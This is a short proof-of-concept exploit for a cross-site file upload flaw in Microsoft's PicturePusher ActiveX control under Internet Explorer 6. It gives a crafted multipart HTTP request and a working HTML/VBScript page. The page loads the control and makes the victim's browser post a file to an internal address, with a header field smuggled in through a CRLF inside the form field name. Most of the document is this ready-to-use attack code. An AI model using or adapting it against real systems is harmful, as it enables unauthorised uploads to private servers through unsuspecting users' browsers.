Microsoft PicturePusher Active-X cross site file upload attack proof of concept exploit.
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Microsoft PicturePusher ActiveX (PipPPush.DLL 7.00.0709) remote Cross Site File
Upload attack POC (IE6)
by Nine:Situations:Group::pyrokinesis
bug discovered by rgod during early March 2008
tested software: Microsoft Digital Image 2006 Starter Edition
works fine against IE6, with some warnings with IE7
dll settings:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
This control allows to build highly customized POST requests against private
upload facilities, using the browser as a proxy to bounce them and by injecting
a filename sub-field through ex. the AddString() method
The magic packet :
POST /?aaaa=1 HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0) [MSN Communities Active-X Upload Control]
Host: 127.0.0.1
Content-Length: 181
Cache-Control: no-cache
-----------------------------
Content-Disposition: form-data; name="aaaa"; filename="suntzu.test"
Content-Type: text/plain; AAAA: ""
xxxxxxxx
-------------------------------
-->
<HTML>
<OBJECT classid='clsid:507813C3-0B26-47AD-A8C0-D483C7A21FA7' id='PicturePusherControl' />
</OBJECT>
<script language='vbscript'>
'PicturePusherControl.PostURL = "http://127.0.0.1/?aaaa=1"
PicturePusherControl.PostURL = "http://192.168.1.1/?aaaa=1"
PicturePusherControl.AddSeperator
CRLF = unescape("%0d%0a")
FormElementName="aaaa""; filename=""suntzu.test"" " + CRLF + "Content-Type: text/plain; AAAA: """
Value="xxxxxxxx"
'for some reason cannot do this with AddFile() method, however...
PicturePusherControl.AddString FormElementName ,Value
PicturePusherControl.Post
</script>
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